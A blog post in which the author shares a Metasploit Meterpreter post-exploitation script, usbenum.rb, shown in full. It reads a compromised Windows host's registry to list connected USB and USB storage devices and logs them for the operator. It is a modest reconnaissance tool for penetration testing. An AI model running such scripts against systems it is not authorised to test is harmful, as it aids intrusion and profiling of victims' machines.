Meterpeter Script: usbenum.rb
Last week I was looking around the Metasploit ticket system looking for something that I could do to contribute back to the community that has made pen testing so easy for everyone. I found ticket 700. A simple meterpeter script to enumerate USB device information on the remote computer. I based it off the winenum.rb script from Carlos Perez, so its very similar to that script. I am sure this script could be cleaned up some to be shorter but I only spent about an hour on it. Questions? Comments? Post em up...
#Meterpreter script for basic USB device enumeration
#Based on the winenum.rb script by Carlos Perez
#Provided by Jacob Hammack at jacob.hammack[at]hammackj.com
#Version: 0.0.1
@client = client
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-a" => [ false, "Enumerate all connected usb devices" ],
"-s" => [ false, "Enumerate all connected usb storage devices" ]
)
allUsb = false
usbStor = false
opts.parse(args) { |opt, idx, val|
case opt
when "-a"
allUsb = true
when "-s"
usbStor = true
when "-h"
print_line "USBEnum -- Enumerates all USB devices"
print_line
print_line "Retrieves information about the usb devices that have been connected"
print_line "to the system. Results are stored in #{::File.join(Msf::Config.log_directory, 'usbenum')}"
print_line(opts.usage)
raise Rex::Script::Completed
end
}
host,port = @client.tunnel_peer.split(':')
info = @client.sys.config.sysinfo
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'usbenum', info['Computer'] + filenameinfo )
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = logs + "/" + info['Computer'] + filenameinfo + ".txt"
#Enumerates a registry key and returns
#Jacked from the winenum.rb script by carlos perez
def reg_enumkeys(key)
subkeys = []
begin
root_key, base_key = @client.sys.registry.splitkey(key)
open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ)
keys = open_key.enum_key
keys.each { |subkey|
subkeys << subkey
}
open_key.close
rescue ::Exception => e
return nil
end
return subkeys
end
#Gets a reg key value
#Jacked from the winenum.rb script by carlos perez
def reg_getvaldata(key,valname)
value = nil
begin
root_key, base_key = @client.sys.registry.splitkey(key)
open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(valname)
value = v.data
open_key.close
rescue ::Exception => e
return nil
end
return value
end
#writes out data to file
#Jacked from the winenum.rb script by carlos perez
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
allUsbKey = "HKLM\\System\\CurrentControlSet\\Enum\\USB\\"
usbStorKey = "HKLM\\System\\CurrentControlSet\\Enum\\USBStor\\"
if allUsb == true or usbStor == true
print_status("Running Windows USB Enumerion Meterpreter Script")
info = @client.sys.config.sysinfo
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
header << "Running as: #{@client.sys.config.getuid}\n"
header << "Host: #{info['Computer']}\n"
header << "OS: #{info['OS']}\n"
header << "\n\n\n"
print_status("Saving report to #{dest}")
filewrt(dest, header)
end
if allUsb == true
begin
subkeys = reg_enumkeys(allUsbKey)
subkeys.each { |key|
devices = reg_enumkeys(allUsbKey + key)
devices.each { |dev|
val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "HardwareID")
hardwareid = "HardwareID:" + val unless val == nil
val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "Driver")
driver = "Driver:" + val unless val == nil
val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "ClassGUID")
classguid = "ClassGUID:" + val unless val == nil
val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "Mfg")
mfg = "mfg:" + val unless val == nil
val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "DeviceDesc")
devicedesc = "DeviceDesc:" + val unless val == nil
val = reg_getvaldata(allUsbKey + key + "\\" + dev + "\\", "LocationInformation")
locationinformation = "LocationInformation:" + val unless val == nil
print_status hardwareid unless hardwareid == nil
print_status driver unless driver == nil
print_status classguid unless classguid == nil
print_status mfg unless mfg == nil
print_status devicedesc unless devicedesc == nil
print_status locationinformation unless locationinformation == nil
print_status ""
filewrt(dest, hardwareid + "\n") unless hardwareid == nil
filewrt(dest, driver + "\n") unless driver == nil
filewrt(dest, classguid + "\n") unless classguid == nil
filewrt(dest, mfg + "\n") unless mfg == nil
filewrt(dest, devicedesc + "\n") unless devicedesc == nil
filewrt(dest, locationinformation + "\n") unless locationinformation == nil
filewrt(dest, "\n")
}
}
rescue ::Exception => e
print_status("Unable to enumerate USB registry #{e}")
end
end
if usbStor == true
begin
subkeys = reg_enumkeys(usbStorKey)
subkeys.each { |key|
devices = reg_enumkeys(usbStorKey + key)
devices.each { |dev|
val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "HardwareID")
hardwareid = "HardwareID:" + val unless val == nil
val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "Driver")
driver = "Driver:" + val unless val == nil
val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "ClassGUID")
classguid = "ClassGUID:" + val unless val == nil
val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "Mfg")
mfg = "mfg:" + val unless val == nil
val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "DeviceDesc")
devicedesc = "DeviceDesc:" + val unless val == nil
val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "FriendlyName")
friendlyname = "FriendlyName:" + val unless val == nil
print_status hardwareid unless hardwareid == nil
print_status driver unless driver == nil
print_status classguid unless classguid == nil
print_status mfg unless mfg == nil
print_status devicedesc unless devicedesc == nil
print_status friendlyname unless friendlyname == nil
print_status ""
filewrt(dest, hardwareid + "\n") unless hardwareid == nil
filewrt(dest, driver + "\n") unless driver == nil
filewrt(dest, classguid + "\n") unless classguid == nil
filewrt(dest, mfg + "\n") unless mfg == nil
filewrt(dest, devicedesc + "\n") unless devicedesc == nil
filewrt(dest, friendlyname + "\n") unless friendlyname == nil
filewrt(dest, "\n")
}
}
rescue ::Exception => e
print_status("Unable to enumerate USB registry #{e}")
end
end